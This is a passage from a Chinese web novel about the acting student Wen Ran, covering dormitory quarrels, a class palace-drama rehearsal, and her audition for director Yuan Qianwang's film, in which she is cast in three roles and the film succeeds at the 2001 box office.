温苒叠好一件裤子码在行李箱里,“收拾东西,和霍骁北去师公的剧组。” 许虹嘴角抽了抽,“他一个大男人怎么这么离不了你,天天电话不断就算了,现在连人也要拐走?” 温苒抿了抿嘴角,“现在还不走,霍骁北昨天下午回了剧组,过两天剧组放假他再来接我,我还得给海阳践行呢。” 海阳心里更不是滋味了,之前面试,要不是小苒带她入戏,她怎么可能被选上? 可结果,她连个角色都舍不得…… 下午范宜然回到学校,就听周围都在议论温苒被剧组开除一事。 范宜然顿时惊了,顾不上去找班任开批条,飞快回了寝室。 温苒抱着冰淇凌悠哉看电影,突然门被撞开,转头去看,就见范宜然气喘吁吁冲进来。 与她一向高冷的形象的大相径庭,头发都跑乱了。 “温苒你没事吧?” 范宜然叉着腰大喘气。 温苒放下电脑,从蚊帐里探出头来,刚要开口却被对床的许虹抢先,“什么什么事?一个角色而已,我们小苒还不稀罕,你别以为你被选上就了不起,只不过是捡漏而已。” 劈头盖脸就是一顿阴阳怪气,范宜然愣了下,抿着唇脸色绷紧,“我不是这个意思。” 许虹眉毛一竖还要再说,温苒生怕这俩人再吵起来,连忙道:“我没事,反正错不在我,许虹刚才还说呢,幸亏是范宜然你来演,别人去演她还不服气呢!” 许虹瞪大眼睛,我什么时候说过这话了? 刘蓉蓉小声插了句,“宜然,有什么话坐下说吧,桌上有一次性纸杯和暖壶,喝水自己倒。” 范宜然说了声‘谢谢’,坐下连喝两杯水,抽出纸巾擦了擦,才说:“我刚才从外面进来,听学校里很多人都在议论,温苒你被冯导的剧组开除了。” “什么玩意儿?”许虹一下子炸了,撸起袖子跳下床开始穿鞋,“哪个瘪犊子说的?你带我过去!” 温苒:“……” 温苒能怎么办,只好也下床,赶紧把这位大美女给拦住,“别冲动,说不定是误会。” 许虹气呼呼瞪着范宜然,“你说。” 范宜然看了看俩人,说道:“我只听到别人议论温苒被开除,具体原因不清楚。” 温苒皱起眉,最好别是冯飞故意放出来挽尊的谣言。 温苒让许虹冷静,她去隔壁喊来海阳,周可自然也跟了过来。 她道:“海阳,你帮我打探一下消息,看看到底都在怎么传?” 海阳二话不说就去找人,许虹叫住她,“记得帮小苒澄清。” 温苒补充:“不要太刻意,也不要多解释,最好别人逼问你你再说。” 海阳犹豫,“那要说真相吗?” 那说出来可还了得? 温苒想了想,“我先问问班任怎么说。” 冯飞在制片厂用的理由是,他和班任邢玉洁因为片酬问题闹了不愉快,所以才殃及到两个学生。 涉及到班任,总要问问她的意见。 邢玉洁也正好有事情找温苒,她几乎是飞快出现在寝楼,“就照冯飞那个理由说。另外,别人问你为什么小苒不演了,就说是我不让她演。” 海阳眼巴巴望着她,“那不让小苒演的理由呢?” 邢玉洁扫到范宜然,迟疑了下。 许虹没注意到班任的目光,直接道:“现成的理由,小苒是咱班专业第一,老师不想让她太早去演戏,想再磨磨她的性子。” 范宜然抿紧嘴角,没说什么。 这个理由确实不错。 邢玉洁点了点头,为今之计也只有这个理由看起来像样,就是范宜然肯定会心里不好受罢了。 温苒是专业第一,有万里挑一的天赋,还肯努力,这是同学老师都认可的。 相较之下范宜然就很难凸显出来。 然而范宜然其实也不错,天赋出众,如今也知道了下功夫,如果没有温苒,她也当得起戏剧学院表演系的第一人。 但巧就巧在,范宜然这个有天赋的,碰上了温苒这个更有天赋的。 班上其他同学和范宜然有壁,而范宜然和温苒有壁。 海阳犹豫着看了一圈众人,“那我就照这么说了?” 邢玉洁让她去,接着搬了凳子坐到范宜然身边,“给大家说个信,袁导袁千望正在筹备一部片子,开学后来学校选人。” 几个同学一脸欣喜加震惊,“真的?!” 邢玉洁点头,看向范宜然,却道:“宜然,小苒不是被冯飞剧组开除的,具体怎么个事待会儿让她跟你讲,但答应老师,别往外传。” 范宜然错愕地抬起头,难道这其中还有什么秘密? 海阳四处乱窜,散播加澄清消息,邢玉洁也没闲着。 暑假时间这么长,真让学生们闲着,一来绝对能闹出不少麻烦,二来怕是练功都得懈怠了。 当老师的最怕什么,最怕看到学生享福。 邢玉洁翻了翻系里的剧本,挑了几个不错的出来,打算带学生们好好练一练。 班任离开,范宜然询问温苒其中的缘由。 回答她的是许虹,“还大导演呢?不想着雕琢作品提升专业,反而满脑子歪门邪道!他想巴结人,还骗我们小苒去替他巴结,小苒没上当,那孙子破口大骂还想动手,幸亏当时咱们班任在呢!” 范宜然目瞪口呆,“那冯导,不是,冯飞恼羞成怒,才开除了温苒?” 周可小声道:“那倒也不是。” 范宜然:“???” 许虹解释,“是小苒不想演了。” 范宜然更迷惑了,温苒都不演了,和她关系好的海阳为什么还愿意演? 经几人七嘴八舌的解释,范宜然才拼凑出真相。 她皱着眉,“我本来在朋友家里,冯飞主动上门来找我,说电影还缺个角色想让我试一试。” 范宜然看着温苒,“所以冯飞是故意选我来演,他是想膈应你?” 温苒:“……” 温苒没忍住,“你倒也不用这么看低自己,一般用来膈应别人的都不算好东西。你应该换个思路,为什么不能是只有你演得了这个角色呢?” 范宜然:“……” 范宜然被自己蠢得脸上发烫,“也、也对。” 许虹望了望头顶的风扇。 其实她一开始也是这么认为的,冯飞故意选范宜然来膈应温苒。 冯飞怎么想的也很好理解。 他到底拿过奖,是个公认的大导演,他都低声下气主动认错了,温苒却一点面子都不给他,说不演就不演。 好!你不演那是你的损失,你不演我就找你的同学来演,等你同学演我的戏火了,看你后不后悔? 过了片刻,范宜然开口:“我、我其实,要不也别演了?” 众人诧异地看着她。 温苒疑惑,“为什么?冯飞的电影暑假就能拍完,袁导开学以后才过来,又不会耽误。” 范宜然小声,“我们是同学,冯飞……” 她垂下眼睛,“我去演,他会怎么看你?别人会怎么看你?” 最诧异的要数许虹,她上上下下打量范宜然,像是第一天认识这个人似的,“你真这么想?” 范宜然奇怪地看了她一眼,“不然呢?” 许虹噗嗤一声笑出来,抬手拍了拍范宜然的肩膀,“我说你这姐妹儿,你一直都拿鼻孔看我们,傲得很,没想到你还够有情有义的?我错怪你了,我跟你道歉。” 范宜然:“……” 范宜然绷着脸,“不用。我也是为了自己,我不比温苒哪里差,她不要的角色,我也不要。还有,我鼻孔没那么大,看不了人。” 许虹刚升起来的那点亲近,瞬间消失,咬牙切齿道:“我就说你不可能这么好心!” 范宜然冷笑,“我好不好心,不需要你来说。” 转眼间,俩人话不投机就吵了起来。 刘蓉蓉和周可求助地看向温苒。 温苒拍了拍桌子,“别吵了!” 但是俩人根本不听,反而声音更大了几分。 温苒:“……” 温苒转身掏出只喇叭,“别吵啦——别吵啦——” 魔音穿耳过,世界终于清净下来。 许虹捂着耳朵,“你哪来的喇叭?” 温苒哼笑,“厉害吧,专门克制你和海阳的大嗓门。” 许虹翻了个白眼,谁的大嗓门能比得过喇叭啊? 然而只安静了不到两秒,许虹又开始和范宜然针锋相对。 许虹冷笑:“看不起我们就别待着了,赶紧走。” 范宜然也冷笑,“我只是看不起你,其他同学我可没有看不起。” 许虹再冷笑,“可真不看出来啊,范大鼻孔。” 范宜然拍桌子,“许大嗓门!” 刘蓉蓉和周可又看向了温苒。 温苒:“……” 温苒重新打开喇叭,“都给我闭嘴——” 眼看这俩是真能闹,刘蓉蓉和周可一边一个分隔开。 刘蓉蓉拽着许虹,“许大姐,宜然不是那个意思,你别误会。” 周可拉着范宜然,“宜然,许虹也不是那个意思,她只是误会了。” 许虹毫不客气,“蓉蓉你告诉她,我没误会,她就是看不起我们!” 范宜然抿着嘴唇,“小可,你告诉她,我不会看不起自己的同学。” 许虹瞪着范宜然,“蓉蓉,你告诉范宜然, 她要是没有看不起我们,为什么每次聚餐都不参加?为什么每次见了也不打招呼?跟她说话也不理人,还总是鼻孔朝天!” 范宜然刚要开口,温苒举起大喇叭,“你们有什么话自己说,蓉蓉,小可,过来,我们看电影,她们自己的事情她们自己处理。” 刘蓉蓉和周可颠颠儿跑过去,一左一右挨着温苒坐下,面对着电脑屏幕,眼睛却看着一旁大眼瞪小眼的俩冤家。 许虹双手抱胸,“看!说不出来吧?” 范宜然梗着脖子,“聚餐是你们从来不喊我,我没必要上赶着。” 许虹拍桌子,“怎么没邀请你?每次喊你,你都是皱眉摇头。你每次都拒绝,所以后来才不喊你。” 范宜然也拍桌子,“你那是邀请吗?你那态度就差直说爱去不去,不去正好,去了会打扰你们!” 许虹皱眉,“我什么时候那个态度了,我是对你有意见,可我又不是傻,我只是背后说你坏话,当面对你我可都是很正常。” 温苒嘴角抽了抽,这些话是能说出来的吗? 果然,范宜然听了脸色难看得吓人,“你就是!” 许虹来劲了,“我是,那你呢?你对我们爱答不理的,我们也不愿意上赶着!” 范宜然已经不想说了,起身就走。 刘蓉蓉和周可一把抓住她,周可急道:“宜然,你别生气。” 范宜然冷着脸,“我没生气,我还有事,先走了。” 身后传来一声冷笑,范宜然闭了闭眼,转身冷笑回去,“说我爱答不理,蓉蓉胆小怕人,小可沉默安静,温苒也高冷话少,怎么没见你说过她们看不起人?” 许虹皱眉,“你跟她们能一样?” 范宜然扯了扯嘴角,“怎么不一样?我不爱说话,因为我跟人说话也紧张。” 许虹:“……” 这话你自己信吗? “我可看不出来你紧张。” 温苒替范宜然回道:“她可能是心里紧张。” 许虹看向范宜然,范宜然‘高傲’地点了点头,“嗯,对。” 许虹:“……” 温苒又道:“就跟喝酒一样,有些人喝醉了上脸,有些人就不上脸。” 众人:“……” 也算是话糙理不糙了。 一阵诡异的沉默后,许虹先低了头,“坐吧,待会儿给你们践行,都想想聚餐吃什么,烧烤、火锅还是小炒?” 温苒举手,“火锅吧,霍骁北走之前炒了火锅底料。” 海阳完成任务归来,听说要吃火锅,屁股都没坐热就催促着要走。 她向范宜然强烈推荐,“小苒男朋友的手艺你必须得尝尝!可惜了,之前你都不在。” 没有邢玉洁在的聚餐,范宜然是第一次参加。 逛超市、买菜,然后自己动手洗菜切菜,所有人参与感十足。 令人惊讶的是,范宜然竟然有一手好刀工好厨艺。 庆祝宴加践行宴后,范宜然和海阳就离开了。 许虹感慨道:“其实范宜然这人还不错,有她在,海阳在剧组也能好过点,谅那个冯飞也不敢对范宜然做什么。” 温苒顾不上跟她讨论这个,她正在跟霍骁北打电话。 “我不去剧组了,班任要带我们排练。” 霍骁北的心情很差,由晴转雷阵雨。 ——来自他三个舍友的总结。 话筒里,温苒听到霍骁北的语气低下来,“按时吃饭,按时休息,剧组放假我就回去看你。” 和同学一起排练的时间过得很快,欢乐也很多。 温苒那两个小剧本也被邢玉洁拿来用了,邢玉洁还委任温苒来当导演,“也给老师安排个角色,咱们好好玩玩。” 玩玩那就玩玩,于是温苒大手一挥,“那不如来反串吧!” 她还随手加了段戏,前朝让女生结党争锋,后宫让男生互相算计。 上一秒,许虹饰演的壮硕大将军和丞相周可互殴,大太监刘蓉蓉阴笑着暗下杀手…… 下一秒,杜凌饰演的小答应被班长皇后掌嘴罚跪,贵妃蔡立光娇柔地倚靠在一旁看好戏…… 然后画风就彻底乱了,下了台每个人都还一口一个‘皇上’‘爱妃’‘爱卿’‘杂家’…… 温苒:“……” 一群戏精,白天演完不算,回了宿舍还要演。 邢玉洁都被带动起来,和李一帆通电话时都是‘朕’如何如何。 李一帆:“?” 咱还是社会主义吗? 邢玉洁不快,“你应该自称‘臣’才对!” 李一帆:“……” 李一帆恍恍惚惚,“那皇上,臣能挂电话了吗?” 一旁的编剧和副导:不是?姓李的疯了? 由于同学们异常的热情,一段戏愣是演了五天,就这,戏瘾还没过呢。 男生里年纪最小的吴江演的是个柔弱妃子,下了台含情脉脉地望着温苒,“导演,能再写一段吗?” 刘蓉蓉迈着小碎步,狗腿地上来,桀桀发笑:“导演,杂家认为,此事可成。” 余下的男生,班长梁新江、朱彦民、白大山、蔡立光和杜凌都用角色语气表示,“导演!写!” 温苒就很无语。 但,写就写吧,不过现在是用不上了。 正好温苒想写一部长篇电视剧,以宫斗或者权谋为题材也不错。 许虹问:“为什么不能一起写?” 温苒很难解释原因,虽然这两个题材关系很紧密,听起来非常融合,但实则两者的受众相差甚远。 “贪多嚼不烂,举个例子,如果我在谍战剧里加太多爱情剧情,就会显得不伦不类。” 许虹想了想,“好像是的。” 温苒决定先拿宫斗练手,于是每天排练完,就转道图书馆查资料,泡到半夜才回宿舍。 暑假飞逝。 霍骁北从剧组回来。 海阳和范宜然也结束了电影的拍摄。 开学前一天,班上男女同学和霍骁北的三个舍友都来温苒家聚餐。 女生围着范宜然和海阳打听拍电影的事。 男生围着霍骁北舍友打听拍电视剧的事。 两拨人讲着讲着就变成了一拨人,吵吵闹闹的。 大二开学,温苒升为了学姐。 众望所盼中,一个学期将将结束时,袁导才出现在戏剧学院。 对方悄无声息地出现,若不是听班任讲,恐怕等他走了都不知道什么时候走的。 邢玉洁道:“袁导来只告诉了咱们系的领导,剧组借了间教室,只面大三大四的学生。你们别往出传,尤其是你海阳,给我把嘴封严实了。” 话虽如此,但一众学生还是被挑起了热情。 不能出去说,那就在教室里跟同学说。 范宜然这半年和大家混熟了,话也多了起来。 她坐在温苒旁边,戳戳温苒的手臂,“袁导来选演员,你想去吗?” 温苒正在给宫斗剧本收尾精修,记下冒出来的想法后,她抬起头,“想,但我们才大二,除非实在找不到演员,否则我们没机会。” 范宜然叹气,“也是。不过这可是袁导,袁导最爱用学生,错过这次也不知道还有没有下一次?” 温苒也很遗憾,规定摆在这里能怎么办? 许虹看了俩人一眼,“放心吧,我有预感,这次肯定有咱们的份!” 考完最后一场试,班任邢玉洁走进教室,“现在,收拾东西跟我走,去面袁导的戏。” 同学们又喜又惊,“我们也能去啊?” 温苒的手臂被抓住,扭过头,看 到范宜然激动地脸都红了,“温苒!” 去面试教室的路上,海阳和杜凌一左一右围着邢玉洁。 杜凌:“老师,是没挑到合适的演员吗?还是说咱们这次去面配角?” 海阳:“我们才大二,老师,为什么我们也能去?” 冯飞的片子她们能去,一来对方确实个不错的导演,二来对方在暑假期间拍摄,所以99级学生也能去,但这可是袁导! 邢玉洁笑了笑,“你们赶上了,这次不一样,袁导发话,他只要最好的。” 当然不是说大三大四的学生们不好,只是还不够好,袁导这次是奔着国际电影节去的,如果几所学校找不到合适的,他恐怕就要在全国海选了。 温苒拿到了一段剧本。 不出意外,依旧是第五代导演青睐的乡土剧题材。 民国时期,女学生婉君的秀才父亲抽大烟败光家业,家中接她回乡,强迫她嫁给大户人家残废的少爷,好为家中还债。 第68章 第68章千禧年影后11 接受过新思想教育的婉君,在父母兄长的逼迫下,始终不愿意低头。 最终婉君被押送进迎亲的花轿,热热闹闹抬进了一座大宅子。 故事就发生在这座宅院里。 温苒拿到的剧本里,除了这一段故事梗概,再就是成亲的第二天,她拜见婆婆的一幕。 刚从考场下来,纸笔都是现成的,温苒大致过了一遍剧本,开始动笔。 分析剧情揣摩角色,是每个演员拿到剧本时的第一反应。 这段剧情实现了哪种作用?达成了什么目标?剧情的视角核心是谁? 每个角色又表现出了怎样的性格?它为什么会是这样的表现? 等等,等等。 袁导给了半小时准备时间。 和温苒一样,过完剧情,心里大致有了底,大家都开始动笔。 编剧白谈从外头回来,看到的就是一群学生埋头苦写的场面。 白谈朝好友袁千望投去好奇的目光,“这是考试呢还是面试呢?” 袁千望斜了他一眼,“听说是刚考完试就过来了。” 白谈乐了,“这群小孩儿有点意思。” 他拍拍裤子,背着手晃悠起步子,“我过去瞅瞅都写了什么?” 袁千望挥手叫来助理,“待会儿上台前,把她们写的东西都收过来交给我。” 女生面试的角色是女主角婉君,男生那边都是小配角,戏份最多的是婉君学校里的同学,有两句台词。 白谈背着手看了坐在外面的几个同学,摇着头回到了前面,“一般般,有两三个形象比较符合的,先面她们吧。” 准备时间结束,邢玉洁安排面试顺序。 女主角婉君的试镜自然是重中之重,形象比较贴合的有温苒、范宜然、刘蓉蓉和许虹。 没别的,就是够漂亮,气质中还带着丝冷意。 周可是圆脸,长相和气质偏娇憨;海阳成也形象败也形象,她是最不适合的。 邢玉洁先看向了温苒,“小苒?” 温苒这个专业第一,此时不用何时用? 范宜然举手,“老师,我想先上,我怕在温苒后面状态受影响。” 许虹紧跟着也说:“我也不想在小苒后面,我也怕受影响。” 温苒:“?” 不是?都针对我吗? 下一秒,刘蓉蓉也加入了,“老师,我想第三个表演。” 温苒:“……” 就连周可和海阳都抛弃了她,纷纷低头,不敢和她对视。 大家在心里蛐蛐。 要是对戏,她们肯定抢着和温苒一组。 但这是竞争,先让温苒上她们就别上了,看完温苒的表演她们肯定会自惭形秽道心破碎。 本想让温苒开个好头的,但邢玉洁看到大家的反应,想了想也确实,“那就宜然第一个,许虹、蓉蓉、小可、海阳,最后是小苒。” 范宜然深吸一口气,攥紧手心,稳住步伐走上台。 助理过来收走她的剧本和笔记,交到了袁千望和白谈手上。 白谈飞快看了眼,对照刚走上讲台的女生,评价道:“形象不错,对角色的理解只能算合格。” 袁千望认为自己够严格了,但跟白谈还是不能比,“她是99级的,今年才大二,这个年纪可以了。” 范宜然做完自我介绍,听到工作人员一声开始,开始了她的表演。 婉君昨天成亲,嫁给了双腿残疾精神疯癫的大少。 家里为了让大少安分地完成婚礼,提前给他灌下安神药,他是被仆从架着和婉君拜堂的。 大少昏睡了一夜,婉君独自坐在床边,彻夜未眠。 次日天还未亮,丫鬟进来伺候婉君洗漱,同时告诉她,夫人身边的婆子来请她。 婉君知道,今天要给婆婆敬茶。 婉君初来乍到,想同丫鬟打听一下这家的情况,哪知道丫鬟只是沉默不语。 面容严厉的婆子来催促,婉君顾不上换衣服,跟在后面往主院去。 面试剧情从这里开始。 讲台上只有范宜然,婆子是不存在的。 婉君从院里出来,昂首挺胸,视线偷偷观察打量着宅院、水缸、仆从。 洒扫院子属于粗活,这是家丁们的工作。 婉君是新嫁的妇人,女子三从四德,婚后夫为纲夫为天,若对夫不忠,是为奸孽。 婉君偷看家丁,便是不忠。 婆子回头呵斥,“少奶奶,您的规矩呢?” 婉君愣了下,在婆子阴沉的目光中慢慢垂下了头。 婆子迈着小碎步,低眉顺眼走在前。 婉君迈着大步,低头追逐前面的步子。 安分地来到主院。 婉君被婆子留在门口,“少奶奶稍等,容奴婢去禀报夫人。” 主屋里,此时这座宅院的男女主人高座上首。 婆子靠近女主人,低声几句。 女主人神情晦暗不明,摆摆手,婆子回到门口,“少奶奶,您请进。” 婉君垂着脑袋,迈过高高的门槛。 婆子端来茶,“少奶奶,您请跪。” 婉君犹豫两秒,提起裙摆,款款跪下,举高两手。 婆子放上一盏热茶,“敬公爹!” 婉君要起,被婆子压住肩膀,“跪着敬。” 婉君膝行至男主人脚前,垂着脑袋,“父亲,请您喝茶。” 男主人接过,之后是女主人。 婉君重复动作,“母亲,请您喝茶。” 婆子喊起,婉君站起来,此时偷偷抬眼望向上首,只是一瞥却脸色煞白,蹬蹬后退,失声而出:“你、你们是人是鬼?” 剧情结束。 台下许虹不停往衣服上抹手心汗,“完了完了,早知道我就该第一个上,我在范宜然后面我也受影响啊。” 第一排,导演和编剧等五六个人互相交流意见。 “比之前的好。” “列为备选吧。” 袁导没说什么,白谈问了几个问题,就轮到了许虹。 和范宜然相比,许虹性格张扬,演技也相对外放,和婉君女学生的身份以及剧情的基调并不符合。 接下来是刘蓉蓉,刘蓉蓉演技可外放可内敛,她这次表演比范宜然更含蓄深沉。 袁导问了几个问题,之后是周可和海阳。 轮到温苒上场了。 没有提供完整的剧本,角色性格也没有明确,她只能通过梗概和台词推敲出一部分。 接着比对猜测出来的故事主题,尝试从戏剧性、逻辑性上补全。 婉君是个 女学生,她接受过新思想的洗礼,她的思想她的灵魂在从旧时代迈向新时代的阶梯上拾级而上。 然而一次回家,一场强迫的婚事,把她从阶梯上打落。 她滚进深渊,坠入黑暗,像折翼的飞鸟被锁进牢笼里。 而她无处可逃。 婉君枯坐的那一夜脑海里在想什么呢? 她看到残疾的丈夫后是什么感受? 或者说,她看到了丈夫的面目吗? 她没看?是因为不敢还是不在乎? 一声‘开始’后,婉君迈起了步子。 她步子很大,速度也不慢,于是险些超过了领路的婆子。 婉君放慢步速,视线微垂落在婆子身上,观察着婆子的步伐。 婆子迈着小碎步,脚步声很轻。 婉君很快调整了步伐,随后注意力转到宅院和家丁身上。 婆子停下训斥,婉君垂下眼睛,依旧昂首挺胸。 安分到了主院。 婆子让她跪着敬茶,婉君跪下了,脊背却挺得更直。 “父亲,请您喝茶。” “母亲,请您喝茶。” 她一字一顿,抑扬顿挫。 说恭敬无,说敬畏也无。 敬完茶起来,婉君不经意往上一瞥,惊恐地连连后退,“你、你们是人?是鬼……” 台下一片静默。 范宜然抿紧嘴唇,她输了。 这一幕中婉君的台词只有寥寥几句,似乎不重要。 甚至连跟婆子去主院那一截儿,到敬茶为止都像是过场戏。 何谓过场戏? 铺垫、转场、交代背景、展现人物性格…… 简而言之,不那么重要的戏,删了可能前后不流畅,但不至于影响核心剧情。 范宜然拿到剧本时就很不解,试镜片段一般都会挑选矛盾冲突激烈的片段,试过场戏简直闻所未闻。 这段戏里,唯一算得上有用的台词只有那一句‘你们是人是鬼’。 前面五个,从范宜然到海阳都可着这句下功夫。 这句台词后,便是细细琢磨婉君的神态动作。 然而温苒的表演不同。 每一句台词她都利用到了极致,语气、停顿、咬字,配合细微的神态动作,都在展现婉君的性格。 范宜然看完只有一个想法:婉君是不同的,她和这座宅院是格格不入的,她看似顺从实则最是叛逆。 婉君的顺从是顺势而为。 婉君的反抗是顺心而为。 婉君聪慧,婉君也倔强。 白谈先提问题,“你这上面写,婆子告诉夫人她偷看家丁的事情,夫人后面会发难,为什么这么觉得?” 白谈语气很不好,因为这确实是他剧本里的剧情,也是第一次矛盾爆发。 这是封建的旧时代第一次向开明的新时代开战。 温苒:“……” 她就是猜的,剧本里都写出来万一有用呢? 白谈沉着脸,语气更不好了,“随便猜的?” 随便猜的就给他猜中了! 袁千望压住好友的手臂,“你来说说,你为什么给婉君安排这样一个性格?” 温苒实话实说,“因为反差大。” 白谈:“……” 又给她猜中了! 那别的性格反差就不大了? 袁千望倒是笑了,“那行,再给你半小时,你演一下这段。” 新的剧本,让温苒惊讶的是,却不是婉君的剧本。 是另一个没提到过的角色,二姨太。 婉君受罚后,二姨太来探望婉君。 婉君不便见客,二姨太站在窗外同其说话。 她声音轻柔亲切,和严厉的太太不同。 “少奶奶,既进了门,就是这家的女人,女人嘛,性子软一点听话一点才招人疼。” …… 温苒拿不准这个姨太太的性格,只有一段台词,她只好尽可能从故事主题和剧情结构出发。 也许这个姨太太和婉君有着相似的身世,她也是被卖进来的,所以她主动来找婉君,教婉君在这宅子里的‘生存法则’。 更或许,这位姨太太也反抗过,但也同样失败了。 总之,要么反差,要么对比,温苒尽可能在姨太太身上安排更多戏剧功能。 白谈已经麻木了。 袁千望却像捡到了宝,“再试试这个。” 温苒打眼一瞧,也麻木了。 这次竟然是大太太? 温苒蹙起眉。 三段三个不同的角色,有什么特殊的含义吗? 首先,她的表现应该还可以,不然不至于让袁导连番给她剧本,所以是想看看她更适合哪个角色? 但这个大太太的年纪应该不小,让她来演似乎也不合适。 温苒带着疑惑,重新分析角色。 演完,白谈只说了仨字:“就她了。” 都能把他剧本猜得七七八八,这丫头要不是个演员,他都想当场收徒。 猜中剧本就算了,这丫头演得还挺好,挑剔如他都挑不出错儿来。 最让白谈满意的是,三个角色,温苒可以只用一个眼神一个表情就能让观众分辨出来。 这就是他们要找的最好的演员! 制片人看向袁千望,“袁老,您的意见呢?” 袁千望拍了拍扶手,“我的意见?我的意见只有一个,你们到时候可大方点,演几个给几份工资。” 制片人爽朗地笑出声来,“这是当然!” 转头,他吩咐助理去找邢玉洁谈片酬。 至于温苒,她被袁千望和白谈留下来。 白谈把剧本丢给温苒,“你有没有兴趣学习编剧?” 袁千望虎着脸,“老白你什么意思,我好不容易找到的演员,你想挖墙脚?” 温苒翻开剧本,终于看到了完整的角色小传。 她抽空抬头,“我正在学习写剧本。” 白谈惊了,“写了没有?写了多少?什么题材?” 温苒想了想,现在好像还没有宫斗剧这个题材,“是宫廷剧。” 在袁千望和白谈的强烈要求下,签完合同散了后,两人派助理跟到寝室楼下,拿到所谓的‘宫廷剧’剧本才离开。 温苒再回寝室,直接被团团围起来。 “快快快!快让我蹭蹭影后的喜气!” “妈耶!我也是出息了,能当上影后的同学了!” 一群人你抱完我来摸,温苒直接成了风景打卡点。 闹完了,许虹一拍手,“跟你男朋友讲了没?快打电话,打完电话去你家庆祝!” 袁导那边要温苒三天后进组,眼看春节她也要在剧组度过。 霍骁北接到电话后,第一时间来到女生寝室楼下。 班上全员和霍骁北及他三个舍友浩浩荡荡去了附近小区。 这次吃烤肉庆祝。 把人都送走,温苒和霍骁北给老家打了个电话报喜。 乔丽淑一听,当即道:“这是大好事!我们俩今年还去长京找你们,到时候给小苒送饺子!” 杜凌也悄摸悄儿给家里打电话,“爸,妈,今年带我爷奶姥姥姥爷来长京过年吧,赶紧来,过来告诉你们个好消息!” 温苒要拍电影了! 温苒要拍袁千望的电影了! 那可是袁千望! 袁千望的上一部电影是四年前,那次横扫国内四大电影奖项,连国际电影节都得了两个提名和一个最佳外语片。 温苒只要正常发挥,国内四大奖绝对不在话下,要是超常发挥,捧回来一座国际电影节的最佳女演员奖都有可能。 那可就是妥妥的华国第一个国际影后了! 作为温苒的朋友,作为温苒的同学,杜凌那叫一个有面儿,他以后去面试别人都得高看他一眼呢! 霍骁北给温苒收拾了三个大行李箱,“临时帮你找了两个助理,重活交给男生,拿饭接水交给女生,你专心拍戏,有事打我电话。” 温苒看他,“你在哪里找的助理?” 霍骁北戳起箱子,走到她身边坐下,“请师公帮忙找的,到了剧组按时吃饭,我会每天打电话给助理询问。” 温苒:“……” 你先管好自己再说吧! 报道地点在长京郊区一座老宅子附近,那边临时搭了一栋宿舍楼。 霍骁北把温苒送到,连楼都没能进,就被轰出去了。 好在还有两个助理,男助理运箱子,女助理陪温苒去会议室报道。 进剧组的第一件事是认人,认完了人,进入正题:剧本围读。 温苒一人分饰三角,三个年龄、经历、性格不同的角色。 虽然不可思议,但确实如此。 剧本温苒能看得懂,就是不知道让她演三个角色,导演到底是想达到什么效果? 剧本围读是深入剧情深入角色的阶段,这个阶段中,编剧白谈会根据演员再行修改剧情。 春节期间,剧 组没有放假,只在除夕傍晚提前两个小时散会。 男助理送来霍骁北送来的年夜饭,三人围着张小桌子,蹲在地上看完了春晚。 剧本围读期间,温苒还要和剧组请来的礼仪老师学习。 年初六,剧组正式开拍。 温苒一人分饰三角,先拍婉君的戏份,之后依次是姨太太和大太太。 婉君因偷看家丁被罚,姨太太过来安慰。 姨太太善良温和,平易近人,婉君不免多加亲近。 真正让婉君信任姨太太的转折,是大太太强迫婉君和大少爷圆房,姨太太多方转圜,甚至买通下人帮助婉君逃跑。 婉君感激不尽。 结果下人反水,打晕婉君,婉君再醒来,却和宅院的男主人共处一室。 当在此时,大太太坐在主院堂屋她常坐的位置上,神情麻木。 而姨太太一身狼狈跪在下面,大叫着‘我终于报仇了’,一头撞死在大太太面前。 大太太面不改色,让人来收拾。 次日,天光大明,婉君浑浑噩噩走出主院的卧房。 丫鬟告诉她,大少爷死了,姨太太也死了。 是姨太太杀了大少爷。 没有了大少爷,也就没有了大少奶奶。 婉君成了新的姨太太。 姨太太怀孕了。 大太太派人看管她。 大少爷是家中唯一的子嗣,他没了,姨太太肚子里的就成了新的大少爷。 大夫说姨太太的保胎药里添了东西。 丫鬟说,等她生下孩子,她就会死。 丫鬟还说,当初就有个姨太太就是这么死的。 丫鬟又说,上一个姨太太也怀过,不过她怀的是上一个大少爷的种。 丫鬟每天都说很多话,她不怕姨太太,因为姨太太脾气好,心地善良。 丫鬟们私底下说,为什么姨太太不能是太太呢? 大少爷没了,大太太膝下无子,年老色衰,老爷去外面寻花问柳都不进大太太的房间。 如果姨太太是太太就好了,姨太太肚里有大少爷,姨太太对下人好,老爷也很喜欢姨太太。 姨太太听着,神情空洞。 但她却在想。 对啊,她为什么不能是太太? 姨太太给太太请安,杀死了大太太。 老爷发了很大的火,但最终姨太太成了大太太。 七个月的时候,大太太坐在绣楼的窗边,沐浴在明媚的日光下,她从绣楼上一跃而下。 大太太怀的是龙凤胎。 大太太死了。 死的是大太太,不是姨太太,也不是婉君。 姨太太早就死了。 婉君也早就死了。 电影拍了半年多,直到大三开学温苒才重新回到学校。 许久不见的同学围上来,班长起哄:“婉君婉君,拍的怎么样?能拿几个奖?咱班能一人分一个吗?” 温苒:“……” 班长你这样,当心下次皇后不让你演。 回来当天,班上同学老师一起聚餐。 回来第二天,女生们和班任出去聚餐。 都聚完,温苒才知道,“海阳你拿奖了?” 海阳不好意思地点了点头,谦虚道:“巧合,捡漏,主要是我这种类型的演员少。” 许虹翻了个白眼,“你回来晚了,没瞧见她刚拿奖那阵子,走路都横着走!” 海阳‘轻轻’锤了她一下,把许虹锤翻倒在床上,“你说什么呢?” 她转头跟温苒说,“小苒,我穿你给我的裙子领的奖,你不知道,报纸上都说我可时髦了,现在外头都流行起来在脖子上绑东西呢。” 大三开始,班上同学陆续开始外出拍戏。 温苒可顾不上这个,她缺了半年的课程,现在卯足了劲儿补课考试。 白谈频繁来信,告诉温苒片子的进度。 “半个月,加班加点剪完了。” “就为了赶国外电影节,片子已经送主办方审核了。” “国内赶国庆档上映,到时候请老师同学们去电影院,贡献票房!” 严肃题材向来不吸票房,加之这片子就是奔着拿奖去的,包括温苒、白谈和袁千望等剧组人员,温苒的老师同学,以及投资这部片子的文化部都是这样想的。 然而一周票房结果出炉,竟然有一千零二十一万?! 让人震惊的不是二十一,而是一千万! 要知道这是2001年!千禧年! 上一年,2000年的票房冠军是一部国外大片,一亿一千万,第二名却只有三千万。 千万档票房只有国外电影才挤得进去,像冯飞的上一部片子,上一年国庆档上映,下映时才一千五百万票房。 要知道,冯飞的人品不谈,他的电影在年轻人中很受欢迎,年轻人就吃他这套非主流,所以冯飞属于口碑不错票房也有的文艺片大导演。 